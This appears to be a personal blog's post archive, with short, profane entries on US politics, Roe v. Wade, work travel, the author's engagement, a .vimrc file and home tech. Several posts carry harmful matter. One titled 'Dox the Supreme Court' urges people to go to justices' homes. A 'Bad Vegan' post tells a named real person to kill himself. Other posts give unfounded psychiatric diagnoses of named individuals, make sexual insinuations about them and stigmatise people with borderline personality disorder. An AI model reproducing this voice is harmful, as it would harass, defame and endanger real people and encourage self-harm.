Chip Makers Are Refusing to Build New Semiconductor Plants in the US Unless Congress Pays Them

Mon, 04 Jul 2022 21:29:40 -0400

This post is in response to this retarded article.

The world’s third-largest maker of semiconductor wafers, Taiwan’s GlobalWafers, announced plans to build a $5 billion factory in the U.S. on Monday—but only if the government helps pay for it.

First of all- Fuck you. The government doesn’t have any money. All government money comes from TAXES paid by American consumers. We should have input on this sort of billionaire welfare. For instance- If we allow this bullshit, they should provide good union jobs as a result. If not, then fuck you, deal is off. Period.

Fuck It Up Barbara

Thu, 30 Jun 2022 21:59:18 -0400

Reclaim Drive Space

Thu, 30 Jun 2022 12:02:53 -0400

So you have a raspberry pi. Maybe you have two. You might have a VPS as well. Maybe two. Maybe three. You could also have a x86 linux build or a SparcStation laying around, I dunno. Hell, you might be hoarding Unix or Linux PC’s for all I know. But what happens when these suckers run 24/7 and collect and document events from all sorts of services that are running?

Away

Thu, 30 Jun 2022 09:27:46 -0400

I’ve been spending a lot of time away for business this month. This volume of travel is a system shock compared to the last few years’ COVID lockdowns, working from home, and doing everything remote. I remember years ago when I first started this job I actually really liked traveling for work. I would get sent to cool new places, at least one exotic one, and I’d get relief from my very strife-ridden and chaotic home life at that time. It would be my escape. I’d get to sit at a bar and drink beers while eating good food and not feel like I’m walking on eggshells for a few days out of the month.

Late Stage Capitalism

Thu, 30 Jun 2022 08:46:33 -0400

Infinite Frustration

Wed, 29 Jun 2022 14:28:36 -0400

Right now I’m essentially babysitting just about the worst product my company has ever released. And, in all reality, it’s not a horrible idea. The idea behind the product is really pretty fantastic. In fact, the idea sells the product more so than the product sells itself. That’s really where the trouble comes in. The product is riddled with poor design choices and terrible implementations. It’s proof that no matter how good an idea is, good ideas on their own are not enough to drive the success of a product. The product has to be well designed, well supported, and well thought out. This product I’m working with? It’s none of those things. It’s scampering from one poor choice to the next in a cascade of blatant cash-grabs that billion dollar businesses want to purchase but we’re stuck supporting.

My .vimrc

Wed, 29 Jun 2022 10:27:13 -0400

These are the contents of my ~/.vimrc file.

call plug#begin('~/.vim/plugged')

Plug 'scrooloose/nerdtree'
Plug 'sukima/xmledit'
Plug 'vim-airline/vim-airline'
Plug 'vim-airline/vim-airline-themes'
Plug 'mg979/vim-visual-multi', {'branch': 'master'}
Plug 'plasticboy/vim-markdown'

call plug#end()

set tabstop=4
set laststatus=2
set selection=inclusive
color desert
set gfn=Essential_PragmataPro:h11
syntax on
set nowrap
set noshowmode
let g:airline_powerline_fonts = 1
let g:airline_theme = 'deus'
let g:airline#extensions#tabline#enabled = 1
set backspace=2
set backspace=indent,eol,start
set nu
autocmd Filetype markdown setlocal spell

set linebreak
set textwidth=0
set wrapmargin=0
set enc=utf-8
set fileencoding=utf-8
map <F9> :execute '!pdflatex ' . shellescape(expand('%')) . ' && start "" ' . shellescape(expand('%:r') . '.pdf')<CR>

PragmataPro Essential font, purchased LEGALLY from that Schiavi guy. Directly from him, as a matter of fact. Would be great if he made the entire font $30 instead of just the “Essential” slimmed down version, but whatever. Iosevka is coming for him.

MsMpEng.exe

Wed, 29 Jun 2022 09:51:19 -0400

Stop me if you’ve heard this one before. You boot your work computer up, and you give it five or so minutes to settle after the initial shock of it being asked to do things after peacefully sleeping. Then you notice that it’s been a minute, and your computer should be ready to go, but you click on the “Start” menu and nothing happens. So you do the dirty deed and you press Ctrl + Shift + Esc and look at what the hell is consuming your entire laptop’s resources, and causing the fucking thing to swap to disk. What’s that process?

Reconcile

Tue, 28 Jun 2022 13:28:17 -0400

I write a lot of negative stuff on here. Most of the positivity in my life has stayed within the four walls of my home, and to an extent my place of work. I think it’s time to change that, though. I’m sure everyone loves to see me seethe and boil on here, or everyone just cringes as I shout like a lunatic into the ether. Either way, I think I’m going to mix it up. I’m going to write about things I’m grateful for, things I like, and things that overall make me happy.

Greg Abbott is a Fucking Moron

Tue, 28 Jun 2022 12:50:11 -0400

At Least 42 People Found Dead Inside Truck Carrying Migrants In Texas.

These deaths are on Biden.

They are a result of his deadly open border policies.

They show the deadly consequences of his refusal to enforce the law. https://t.co/8KG3iAwlEk
— Greg Abbott (@GregAbbott_TX) June 28, 2022

Here’s a moronic leap of logic for you: “Your open borders are killing people.”

Except the people dead were trying to cross illegally. They were doing so because THERE IS NO LEGAL RECOURSE FOR EXPATRIATING TO THE US. BECAUSE THE FUCKING BORDERS ARE NOT OPEN. THEY WOULD BE ALIVE IF THE BORDERS WERE OPEN.

Late Stage Capitalism

Tue, 28 Jun 2022 11:02:19 -0400

Streak

Tue, 28 Jun 2022 09:18:48 -0400

Four day streak of shotgun posts to the blog!

It’s always annoying to be waiting on a part to do the next thing you have to do. I’m not sure there’s anything I could be doing right now to mitigate the time loss, but even if there was, it wouldn’t be mitigating much. Work stoppage is work stoppage. This game is full of that, and the mantra is almost universally “hurry up and wait”.

Choked

Mon, 27 Jun 2022 15:07:51 -0400

With the new setup synchronizing across multiple mobile devices with git and statically generating content quickly with Hugo, you guys are gonna be bombarded with useless shit all day every day. By “you guys” I mean the two or three people stalking this blog and the 100 or so bots constantly combing it for vulnerabilities or god knows what else. Pretty soon I think I’m going to get back into the habit of making posts with a bunch of memes. I’ll be honest, though, I don’t come across memes as often now as I used to. In fact, my meme-absorption rate has gone down to virtually nothing. That said, I guess the meme posts will still be rare, but I’d like to at least put together a few this year. I guess I’ll pack that one under “we’ll see”.

Aftershock

Mon, 27 Jun 2022 12:33:19 -0400

I think the US is still reeling from recent events. The overturning of Roe v. Wade is likely going to be felt until it has been reversed completely, permanently. I don’t know if we’re on the path for that, though, and I fear things will get worse before they get better. I’m going to weather the storm, though. I’m going to press on because I have loved ones to think about. I have to think about their health and welfare, as well as their futures.

Samuel L Jackson on Clarence Thomas

Sun, 26 Jun 2022 19:56:00 -0400

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Current State of the Blog

Sun, 26 Jun 2022 19:34:43 -0400

There have been changes. I’ve alluded to some, but I don’t think I’ve fully described others. So here’s the breakdown of how this shitpile is currently being handled.

I’ve moved away from Jekyll since the number of posts and my template had bogged down site generation to the point of being virtually impossible to update any longer. The limitations of the Ruby language become painfully evident with maintaining a reasonably sized Jekyll blog. The stop after that was Hugo. A static site generator similar to Jekyll but written in the quite-quick language “Go”. So far it’s been an excellent utility. There have been some growing pains having migrated to Hugo relatively early in the Hugo development process. There have been broken things that have required bandages along the way. I still have no regrets.

Roe v. Wade - Dox the Supreme Court

Sun, 26 Jun 2022 15:44:15 -0400

I’ve decided that this post is worth pinning for a while. How long? To be determined.

I think these dickheads want some pro-choice Christmas Carols sung in front of their doorsteps.

I’m not responsible if the addresses listed are incorrect. Shitty right-wing nutjob dickfaces tend to spread misinformation wherever they can. Plus, people who are awful dickheads like these SCOTUS pieces of shit, they tend to move because they rightfully attract a lot of negative attention. Fuck these fuckers.

Expatriate

Sun, 26 Jun 2022 12:54:09 -0400

It might seriously be time to consider getting the fuck out of dodge. The evangelicals influencing American politics are managing to pull off more and more bold moves against rights and freedoms that we’ve enjoyed since the 70’s. We just recently got to enjoy marijuana legalization, as well as mushroom decriminalization. We also saw the legal smoking age bump up from 18 to 21, which is really fucking stupid. You can sign up to step on jihadi IED’s in Afghanistan at 18, but they don’t want you smoking for another three years. It’s fucking moronic.

Malaise

Sun, 26 Jun 2022 10:53:02 -0400

I’ve been traveling a lot for work lately. I remember when I first started out at this job, I actually enjoyed the breaks I’d get from the walking on eggshells at home. Every trip would be an escape. Temporary relief from inevitably fucking something up, whether I actually fucked something up or not.

Now, though, it doesn’t have that same appeal. There is no tension at home. Home is a wonderful and safe place and I enjoy being there more now than I ever have. Traveling for work is simply taking me out of a place I want to be. It’s not an escape, I don’t have anything I need to escape. It’s a huge downer, to be completely honest, and I’ve been traveling pretty extensively. I’m really over it. I don’t think I’m going to be doing a ton more, but I think what I’ve done already is more than enough.

Blog Updates Abound

Sat, 25 Jun 2022 18:52:14 -0400

In my lame-ass “attempt” to port my blog over to Gatsby, I had learned about something called “Shadowing” that Gatsby does in order to allow you to pull someone’s entire theme template from their github but preserve it in your directory structure while altering the theme’s interpretation in the static site generator. Basically, it allows you to customize how something looks without having to modify the thing directly. Very cool idea. Turns out that Hugo has a similar function, except in Hugo-land they call it “left-most wins”. Makes sense. Functionally behaves nearly exactly like Gatsby’s similar feature. I finally updated my blog to utilize this feature. That way I can continually maintain a one to one parity with the original theme while customizing the shit about the theme that I’d rather not have. On occasion I might have to “diff” the files I’m “shadowing” to the original theme, but I doubt it’ll be something I’ll have to worry about often.

Tired

Sat, 25 Jun 2022 17:14:35 -0400

On a personal note; Living in the US is emotionally exhausting anymore. There are nutbags across the aisle spanning widths that you can only imagine, and it’s tearing the country apart. Not that the US was every very “cohesive” in any way, but my god- Things are more volitile now than ever. It’s just ridiculous. People want to control what others do in the bedroom, whom they can marry, how they deal with their bodies. It’s overwhelming that women used to have a right to bodily autonomy prior to the last two days. I dunno. It’s just insane.

God Dammit

Sat, 25 Jun 2022 13:31:31 -0400

Fucking hell. Clarence Thomas has officially dragged us back in time by a hundred years, that useless son of a bitch. Thomas led the charge in overturning Roe v. Wade and has undone so much progress we’ve made in this country. I really never thought I’d live to see the day, in all honesty. I figured it’d take at least my lifetime for lunatic religious zealots to undo the progress we’ve made. Now we’re inching ever closer to a fascist Handmaid’s Tale nightmare that I might live to see (and potentially fight against). Fuck my life. I’m just flabbergasted.

Archived

Sat, 11 Jun 2022 21:10:41 -0400

I think I’m going to migrate from blogging here with “Hugo” to using Gatsby on the Gatsby cloud. I don’t foresee any reason that I’ll need more than what the free Gatsby cloud offers. So consider this post notice that this blog is effectively archived. I might try to migrate the posts here from Hugo into Gatsby, but I’m not sure I will. I might just leave it up for posterity.

Dafuq

Fri, 10 Jun 2022 20:30:52 -0400

It’s been a minute since I’ve pinged, so consider this my “ping”. I don’t know necessarily that I have anything of any importance to say, but I figured I’d should say something regardless of whether it’s important or not.

I can’t really think of anything of substance to really write about. I really just wanted to let the world know I’m still alive, even though my posting is becoming incredibly rare. I just don’t have that much time to update and post like I’d really prefer to. It’s crazy, too, because I have my laptop. I have a damn decent phone, even. There are so many avenues I could use to post regularly, but truly- The only reason I don’t is because I actually don’t have the time.

Putin Is a Coward

Tue, 31 May 2022 17:12:03 -0400

I’m watching the documentary “Navalny” right now, and I have to admit that it’s wild to see what it’s like to struggle against a dictator in a slavic nation. The atmosphere in which Navalny has had to operate is one of desperation. Putin has kept the Russian people “just sated enough” that they don’t openly rebel in the street, but then he brings charges against Navalny that are clearly just trying to silence him. It’s insane. It shows that Putin realizes that a true democracy would chew him up and spit him out nearly immediately. It’s weird to see parallels drawn between Navalny and Trump. Trump himself, in his quest to dominate the Republican sphere, has made himself an ally to white nationalists. Navalny admits in his documentary that he can’t afford to turn away an ally no matter how “unpalatable” their views may be. Trump, on the other hand, has spent most of his real estate career keeping black folks out of his tenements, so it’s not a stretch for him to rub elbows with racists. It’s just a strange dynamic to see unfold. I’m still trying to figure it all out.

NEWSNEWSNEWS

Sat, 14 May 2022 16:31:11 -0400

We got engaged in Paris on the Ponte des Artes!

Love

Tue, 29 Mar 2022 13:48:09 -0400

Amber,

You’re my favorite. You’re who I think about most often. Rarely does a second pass that I’m not wondering how your day is going, or how you’re feeling, or what you’re up to. I love cuddling you, I love being close to you, I love spending my day with you and talking to you. If I really wanted to save time I’d talk only about the things I don’t like about you. So here goes.

SLAPP

Mon, 28 Mar 2022 10:30:12 -0400

“Jada, lova ya, G. I. Jane 2. Can’t wait to see it.”

Chris Rock (pre-cancellation)

“Rejection sensitivity” is the stated cause of people with borderline personality disorder being incapable of accepting criticism of any sort. In effect, they’re reduced to the emotional capacity of toddlers. This means that any interaction involving any sentiment that could be perceived as or construed as negative will likely evoke a strong negative emotional response from those with BPD.

Cocoon

Thu, 24 Mar 2022 14:44:42 -0400

The amount of time and effort I’ve invested in my home network, home entertainment, and computer equipment; It’s getting harder and harder to leave my safe little cocoon. I’ve put together a rock solid home network setup that rivals commercial deployments, thanks to Ubiquiti. The TV’s in the house are also all decent sized. The living room TV is no longer paired with the tinny, little awful speakers installed in the unit itself. Instead we get TV audio through SPDIF, fed from a Topping DX3 Pro+ into a Schit Vidar and pair of reference Klipsch speakers. My M1 Mac Mini pushes video to any screen via plex, connected to a 12TB powerhouse of an external drive. I have multiple raspberry pi devices connected, performing various tasks through the house as needed. There are two smart vacuums keeping the floors as pretty as possible. The house is fully nested. It’s smart. It’s comfortable. If anything, it makes leaving the house more difficult than it should be.

Anthony Strangis Is a Piece of Shit

Fri, 18 Mar 2022 20:43:57 -0400

First of all, Anthony Strangis clearly has borderline personality disorder. Whether he’s been diagnosed or not, I can’t say. But after watching “Bad Vegan” and seeing the bullshit that that fat piece of shit wrote, it’s clear that he suffers from the very toxic and manipulative mental illness known as “Borderline Personality Disorder”. The way he would bounce Sarma up and down between insults and praises, bait and switch, this fat bastard was clearly not JUST a conman but also has a personality disorder.

Privacy Discrimination

Fri, 18 Mar 2022 09:44:05 -0400

Like many people, I’ve become incredibly concerned with how corporations like Google have been using my personal data. I don’t support their activities in mining individual or collective personal data to “better serve” advertisements, and I believe it’s immoral and unethical. Yet they’ve built a nearly trillion-dollar business model on these very fundamental human rights abuses. Being an individual that’s fed up with the bullshit, I’ve decided that I’m going to take at least some of my privacy back through a few mitigations.

Bad Vegan

Thu, 17 Mar 2022 21:12:52 -0400

I’m sitting here and watching this documentary, Bad Vegan, and I’m just utterly shocked at the immensely stupid bullshit I’m being exposed to. First and foremost: Anthony Strangis, aka Shane Fox, is a fat moronic piece of shit. Seriously. He’s a fucking fool beyond measure. He clearly has a cluster disorder, he’s basically a useless waste of fat. That’s right, you fat piece of shit, I hope you read this. You’re fucking worthless. You should kill yourself, Anthony. Fucking do it, you loser. You’re seriously dumb, you fat idiot. I can’t fucking believe all this bullshit you’ve said. “In the box”. “Immortality”. You can seriously go fuck yourself.

Project

Mon, 14 Mar 2022 06:43:22 -0400

I know I’m really bad for claiming I’m going to do things and then not following through with actually creating the content and posting it up here. This goddamn blog has been around since 2007 in various forms, and 90% of the shit I write winds up being broken promises. I realize this. I get it. But this time I’m going to make a claim and I’m going to do what I need to in order to back it up, because I feel pretty strongly about it.

Infinite Loop

Mon, 28 Feb 2022 06:34:10 -0500

I’ve felt the need to write something, to simply say something, but I’ve written and re-written a few posts already. It seems like I can’t find words that fit what I feel. I guess I really haven’t sat down and unraveled the mystery of exactly what it is that I’m feeling. That might be the reason it feels like everything I’ve sat down to write doesn’t fit what I want to express. I might not really know what I need to express right now.

Pingpingping

Tue, 15 Feb 2022 18:35:44 -0500

Holy shit I’ve been busy lately. Haven’t had a lot of time to catch up with you fuckers. So how’ve you been? What’s new? Everything good? Yeah, I don’t fucking know. Everything is crazy. It looks like we’re exiting “pandemic” status and starting a new era of “Coronavirus is here to stay”. Plus we’re about to see the largest economic bubble explode, rendering everyone much poorer. Oh, and don’t forget Vladamir Putin annexing Ukraine and igniting world war three. Good times. Good times, indeed. I dunno about you, but I’ve been distracting myself with spending time with loved ones, beer, and copious amounts of weed.

Someone Get Kanye Some Help

Tue, 15 Feb 2022 08:33:04 -0500

Kanye West has lost his goddamn mind. He really thinks Pete Davidson wants to be his kids’ new daddy? Fucking really? This guy has absolutely gone off the deep end. He has absolutely lost his mind. Kanye must have zero experience with divorce. Not only that, but this dumb motherfucker is blaming Pete for wooing Kim when the only person who fucked Kanye over was Kanye. Dumb son of a bitch couldn’t keep Kim happy and is blaming everyone BUT HIMSELF for the situation. GROW UP, KANYE. You whiny little millionaire bitch. No one feels bad for you. Everyone wants you to shut the fuck up and grow a pair of testicles. Holy freaking crap it’s annoying. And I’ll say the exact same shit to any man going through a divorce who was the sole reason they’re going through said divorce, because they need to hear it. Otherwise they’re just going to repeat the same mistakes over and over again. Kanye is going to repeat the same mistakes over and over again because he’s paying his friend circle to kiss his ass, he’s not paying them to be real with him.

Happy New Year

Sun, 02 Jan 2022 16:48:03 -0500

Happy New Year, everyone!

Yeah, this is all you get for now. New Years wishes. That’s it. Now take your fucking ball and go home.

Schroeder Should Be Removed

Tue, 16 Nov 2021 07:40:18 -0500

Judge Bruce Schroeder should absolutely be removed from his position. He’s clearly unfit for the bench. This son of a bitch has consistently demonstrated that he has a bias toward murderer Rittenhouse with his ridiculous behavior. You know it’s bad when a prosecutor is advising that a judge is acting outside the law. No, judges are not ’the law’, they’re supposed to interpret it. However, there are always instances where the law is clear, and even someone without a position of power can interpret it. This boomer piece of shit is trying to get Rittenhouse off.

Apex

Sat, 30 Oct 2021 12:10:23 -0400

Brace yourselves for more stream-of-consciousness writing, because god dammit that’s the rabbit hole we’re going to continue going down.

I know I keep saying that one of these days I’m going to write a well thought out piece about something technical in order to contribute to society in some meaningful way, but I think that’s going to have to sit on the backburner until I can get over a few humps at work. Mainly, I’ve been on a large project for a long time now and I need it to be over. I need to get this insane volume of work complete before I can sit down and organize something worthwhile for you guys to read.

Cancellation Nation

Thu, 21 Oct 2021 14:09:29 -0400

Words are not violence. I don’t care how hard you cry about words or how much you believe the words hurt you, words are not capable of inflicting physical damage upon a person. To that end, I have to say that I don’t support the war on words.

Dave Chappelle is a great example of society’s “War on Words”.

“They canceled JK Rowling – my God. Effectually she said gender was fact, the trans community got mad as shit, they started calling her a Terf … I’m team Terf,”

Malarkey

Wed, 06 Oct 2021 09:40:04 -0400

I really didn’t have high hopes for Joe Biden when he was elected president. I honestly thought we’d be seeing more of the same neoliberal corporate lobby bullshit that both the Democrats and Republicans have been hawking for the last fifty years. The “trickle down” bullshit. The ass-kissing of the most wealthy Americans. It’s almost pathological how much impoverished Americans kiss the ass of the wealthiest. Few people truly realize that “The American Dream” was a lie sold to impoverished immigrants in order to lure cheap labor to the states. Through a rather rigorous propaganda campaign stretching through decades and generations, this lie has persisted to present day, and it truly is the forebear of MAGA in every way imaginable.

Omgomgomgomgomg

Mon, 30 Aug 2021 09:15:46 -0400

It keeps creeping closer and closer. Minute by minute. Day by day. It’s almost here and I’m insanely excited. I’m building a life with an amazing partner and we’re doing amazing things together. The excitement is really starting to well up and I can’t avoid just popping off anymore. I can’t wait. There are so many awesome things we’re planning and it’s going to be so much fun. I’m gonna network the shit out of the house with smart everything. It’s gonna be awesome.

Anxiety

Fri, 27 Aug 2021 11:14:29 -0400

My anxiety is through the roof these days. I’ve been working on the same massive project for nearly six months now. Maybe it’s been longer, I honestly can’t remember. It has felt like many eternities. As if that weren’t anxiety enough, I’m possibly being poached by our software development team. I love programming and tinkering but I really don’t know what to think.

Not only is all this going on, but we’re closing on a new house in the comings weeks. It’s a damned big place in a decent area and it’s a new construction. I’ve never owned a house before, let alone a new house. It’s wild.

Musings

Tue, 17 Aug 2021 12:36:02 -0400

It seems like we’re devolving again. It’s crazy to think that at some point we perceived ourselves to be quite close to becoming a space-faring species, at home amongst the stars. That imaginary society is so far removed from every society that thinks it’s important to regulate people’s genitals and bedroom activities. It’s all just so stupid, and the more you zoom out the dumber it gets. Billionaires are jockeyed into space on giant dicks that they could only afford because they don’t pay living wages or reasonable benefits or even taxes. Southern evangelical Christians feel as though worshipping a rich man is more important than the homeless guy who kicked over merchant and money changer tables at temple. Everything about conservatives is trash these days, but they have no introspective. They have no ability to analyze how garbage they are, and they’re incredibly effective at ignoring facts and information that they don’t like. It wouldn’t be as much of a problem if the left didn’t follow suit. Now we have a massive divide between two absolutely inane groups that have zero self-awareness. The world is going to be consumed by this before it collapses. We as a people have wholly lost our way. You can’t discuss this with anyone because they’ve probably aligned themselves with some hyperbolic side already. You have conservatives defending klansmen and liberals championing body mutilation and mental illness as “the new normal”. Both sides are hyperbolic psychopaths but finding people in the center is becoming more and more difficult. We get no reprieve from the cadent spiral into oblivion.

Appreciation

Fri, 06 Aug 2021 12:13:02 -0400

There are times when I can barely believe what my life is like. I have a partner who is my best friend and sexy as hell. I have wonderful kids. I have a career. I have everything I could wish for. I need to take time out to explain how appreciative I am for the privileges I am gifted. I’ve never had a love like this before, and I’ll never have another love like it. It’s important to me because it’s an immense source of my life satisfaction, and it’s only so satisfying because I was already happy before we met. The ability to take happiness and compound it the way my Amber has, I just never imagined getting to experience a true love that’s based on communication and boundaries and a real and working healthy relationship.

Funk

Tue, 27 Jul 2021 12:59:16 -0400

Sometimes it feels like people like me more or prefer my company more when I’m not asserting myself. I don’t know if it’s a me problem or if it’s just how interactions go. I’ve always been a pretty laid back person, and I really still am, but I’m trying to not be avoidant to a toxic level. I don’t really have anything outlined ahead of time to get off my chest, so the best I can do for the moment is some “stream-of-consciousness” style rambling. I’m just working with what I have.

Free

Mon, 19 Jul 2021 09:22:55 -0400

Like many teenagers growing up, I had been conditioned to reserve things that I thought or felt that weren’t in line with what my parents expected of me. I had to reserve things I actually thought or felt for when I was around friends, where I could mostly express myself without fear of reproach. I feel like this is a pretty normal situation for everyone in my age group.

What became incredibly unfortunate was me taking this mindset into relationships. My first relationship was all teenage lust initially, and when that wore off it devolved quickly into disdain and eventually divorce. I couldn’t really be myself. I hated my situation in its entirety. At that point I didn’t really like beer, but I tolerated wine pretty well. It ended up becoming an issue, as I would buy a bottle of wine and down it in one sitting semi-regularly. Thankfully, once that relationship was over I never went back to that sort of situation.

So You're Dating a Nurse

Sun, 18 Jul 2021 12:34:38 -0400

So You’re Dating a Nurse

You’ve met someone, you’re dating, and you feel like you’ve found an incredibly intelligent and compassionate person to share your life with. You’d be completely correct, but if you aren’t sure of what exactly this entails, please do read on.

Tis But a Scratch

You may not realize it yet, but you’ll soon learn that you’re being a gigantic baby. Stomach ache? Headache? Feeling some kind of way? Walk it off, you’re fine. You’ll soon learn that the threshold for “I’m dying” is further out than you could’ve imagined. Your nurse knows, and she’s not going to be shy about sharing it with you. After all, “tis but a scratch”.

Untitled

Tue, 13 Jul 2021 09:42:03 -0400

I hope that one day my children can inherit my mistakes, that they not be required to make the same ones I had made in life, and can make their own mistakes and learn along the way in a less harsh manner than what I experienced. I hope that being an open book for them gives them the brevity they need to live better than I could. I don’t know that it will work out that way, but I can hope at least.

Grind

Fri, 09 Jul 2021 09:36:08 -0400

I don’t think I’ve ever been so exhausted in my entire life. I’ve worked third shift, I’ve had sprees of all-nighters, I’ve experienced illness that wholly prevents sleep- But of all the things to bring me to my knees, not having either of my sleep aids at the ready eclipses every incidence of insomnia that I’ve ever experienced.

I’ve self-medicated for insomnia many years now. Upon discovering that prolonged melatonin use can cause vivid nightmares, I had sought the assistance of a doctor to get a normal night’s sleep. It worked alright for a short while, but eventually I found a number of weaknesses in relying on Ambien and Lunesta. Namely, they only half work after a period of time. There would be partially prepared, partially eaten meals found randomly in the morning. At least on one occasion I drove myself to a corner liquor store in the middle of the night.

Lorem Ipsum Dolor

Sun, 20 Jun 2021 09:41:57 -0400

Fuck China.

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Fuck Freenode and Andrew Lee

Thu, 17 Jun 2021 11:41:56 -0400

For anyone who has been hiding under a rock for the last couple months, I’ll bring you up to speed. Andrew Lee is a spoiled little bitch who “bought” the once-venerable IRC network freenode. This little fuckstick initially claimed he was only orbiting to support free software causes, but as he put money into freenode began continually demanding more say in how freenode was operated. Ultimately he drove away the staff that makes freenode what it is, and they formed a new network at Libera.

Irssi Formatting Rebind

Sat, 05 Jun 2021 11:38:03 -0400

I’ve been using irssi a lot lately to mitigate the sheer volume of networks and channels I dick around in on IRC at any given moment, and using TheLounge is great and all, but I’m feeding node.js about 3GB just to keep it running. I’ve noticed that irssi barely breaches 130MB of RAM when left to idle. When you combine irssi with the really neat tricks like 100 windows in irssi, you can have an extremely RAM-efficient setup that’s capable of quick navigation and split-window juggling.

Jason Miller Is Trash

Mon, 24 May 2021 12:36:48 -0400

It looks like Jason Miller is in the headlines again. Apparently he didn’t enjoy all the reporting done on that one time he banged a sex worker and then poisoned her with morning after pill. He was so a-n-g-e-r-y that he sued Gizmodo Media Group, who proceeded to pull all this really bad stuff out called “evidence” that totally didn’t go how Miller expected it to. Apparently he now owes them $42k for trying to tell them to shut the hell up without any legal basis for doing so. What a fucking moron. Of course he’s accustomed to wealth, it shows in how poorly he conducts himself. It’s only a matter of time before he’s caught with an eightball of coke and a thai ladyboy’s dick up his ass.

Sigh

Tue, 11 May 2021 07:17:30 -0400

Looks like Trump is “tweeting” again, except this time sending short bursts of messages to his shitty personal blog. It’s funny to see a former president be reduced to the level of your average joe blogger. I guess that’s really the privilege we’re looking for. Everyone wants to be able to host their own soap box, and everyone should have that right. Including Facebook, Twitter, etc. They should be able to moderate the content on their platform, just as Donnie can moderate his shitty personal blog. We do, however, badly need net neutrality reinstated. It’s the second Monday of the week, and I’m already sick of it. I think I need to focus less on weekends, because it seems like it always takes forever to get to the weekend and every weekend flies by in the blink of an eye. It’s pretty goddamned frustrating. I’m getting so burnt out, though, with all this COVID crap and taking so few breaks from work. I’m ready to take a month off and just relax. I really need to deliver on that promised “tech-related” blog post soon. Truthfully I think I could really deliver a useful service to the community by writing as decent a Wireguard primer as I possibly can. It’s truly an awesome bit of software and incredibly useful for so many reasons. Having become relatively capable with rolling it out means I at least have some way to give back. It’ll also be nice to foster expanding the Wireguard community. Anyways, I suppose I should get back to my immense pile of bullshit that I have to do.

An Open Love Letter

Mon, 10 May 2021 09:09:36 -0400

I am your “ride or die”. I don’t write that in any light-hearted way. It’s a sentiment I intend to express in the most declamatory way possible. It isn’t something to whisper, it’s something to shout from the tallest building or emblazon a blimp with. I’ve always used words to cope with difficult situations in life. I can elaborate every detail of hardships and sadness and the words roll off my tongue effortlessly, as it’s something I’ve done for a very long time. Less so when times have been easy, or during times of contentment. In fact, the happier I am the more tongue-tied I typically feel. That said, it’s hard for me to write about life right now. It isn’t that I don’t have hardships to endure. I certainly do. Everyone does. The real difficulty for me stems from having such an immense surplus of positivity in my life. I’m buying a house with the person I want to spend the rest of my life with. I’ve found someone who makes me feel intellectually, emotionally, and completely fulfilled. I’m going to marry this wonderful woman. Every hardship and difficult situation seems so minute and distant. I should honestly try to write more regardless of how I’m feeling so that I might normalize writing in general, not just as a coping mechanism. I feel like it really limits the range of my expressiveness. I have the most amazing partner ever. I feel like it does her a great disservice for me to feel nearly “tongue-tied” because I’m happy. I am your “ride or die” because I love you and appreciate you. You are beautiful and the embodiment of what humanity could be if love and patience were priorities. I am daily in awe of you. I feel as though I could spend a lifetime getting to know you and still be surprised by your combination of loving positivity and intelligence. I love you so very much. I also want to have sex with you 24/7. I’m just glad you chose me, and I hope you always do from here on out. I will always choose you. I love you.

Out of the Mess

Sun, 02 May 2021 13:18:08 -0400

I grabbed everything I give a damn about and turned in the keys. It’s over. The bullshit is over. Sweet.

Got all my raspberry pi’s set up. Everything’s moving and grooving. Still sorta hungover from a 50mg edible last night. Holy fucking GOD that thing tore me up. Rekt.

Growth

Sat, 17 Apr 2021 09:11:16 -0400

As long as I’ve been alive, the pronounds “They/Them” have been reserved for unique instances. It’s been used as a plural, a general non-specific pronoun, singular indefinite antecedent, and to protect an individual’s identity. These instances have been pretty codified in our minds from school. It was always incorrect to use “They” to refer to an individual that can be addressed with “He/She”. Historically, the structures that we establish to define our world have taken a lot of time and consideration before catching up to what’s been accepted as the norm. As time goes on, that gap narrows, and our knowledge body adapts faster than ever. If you check baseline dictionaries these days, such as “Oxford English” and “Merriam Webster”, you’ll see that along with the usual plural, indefinite antecedent, and anonymous referral, they’ve added “They/Them” as correctly identifying people who are non-binary. The gap has officially closed, grammar has caught up with popular reference, and you can’t back out of this extra set of pronouns by using grammar as an excuse.

Deadline

Fri, 16 Apr 2021 09:16:12 -0400

We have a house picked out and it’s now “pending”. Once it’s finished and has certificate of occupancy, we’re moving in. It’s going to be a beautiful, huge, awesome house. Four bedrooms, two and a half bath, all your regular rooms plus an extra “flex” room. It’s perfect. The person I’m establishing my life with couldn’t be more perfect for me. The deadline of moving out of my soggy apartment draws nigh. I couldn’t be happier.

Grind Grind Grind

Wed, 14 Apr 2021 13:51:28 -0400

Glad I got the last post off my chest. Now it’s nothing but looking onward and upward, and I get to do it with my best friend and the best partner ever. I think 2020 and most of 2021 has proven fairly awful for a lot of people, but I can honestly say that 2020 and on has been some of the best times in my life, even the difficult parts. Fifteen days left until keys get returned. Crazy.

Hiatus

Mon, 12 Apr 2021 17:02:20 -0400

Holy balls, what a bunch of weeks. Time just slips by and I just about can’t account for where it went.

My shitty landlord did me a favor, though. The morons who live above me yet again had an “issue” which caused torrential flooding of my unit. Subsequently, the morons at Hartman-Tyner Village Squire maintenance neglected to check my unit or notify me in any way that the unit above mine had a serious flooding incident. I came home one day and a cold chill yeeted up my spine as every foot-fall yield a cacaphony of “sploosh” sounds. Of course, the jackasses didn’t do much more than tear the old carpet up and put floor fans down to “dry out” the absolute clusterfuck. That was really all I needed to advance my move-out date by a month or two.

The Grind

Mon, 22 Mar 2021 09:29:43 -0400

It feels like 80% of my existence revolves around my job. I realize that’s not true. I understand that a lot of my simple day-to-day activities are basically just self-care and necessary duties for myself and my offspring. I dunno. Things just feel very “pinned down”. I haven’t worked remotely much. I haven’t been furloughed. I haven’t skipped a beat. Yet all this forward career momentum is incredibly abrasive without all the niceties I enjoyed pre-COVID. It’s incredibly difficult. I just want to be able to go to my local bar and do a trivia night with my girlfriend. I just want to take her to a movie and to dinner. I want to take my kids to waterparks. I want to be human again, and not a burnt-out cog. Maybe I just complain too much. I dunno. I guess I should get back to work.

Cancun

Sat, 13 Mar 2021 12:22:45 -0500

Finally posting photos of the trip to Cancun. Without further ado, or much fuss at all, here we go:

Yeah, I have more pictures. No, you’re not going to see all of them. This is a small sampling of all the fun I had, but it’s still nice to share. It was a fucking amazing time, though. That’s for sure.

Best Vacation Ever

Mon, 08 Mar 2021 17:17:29 -0500

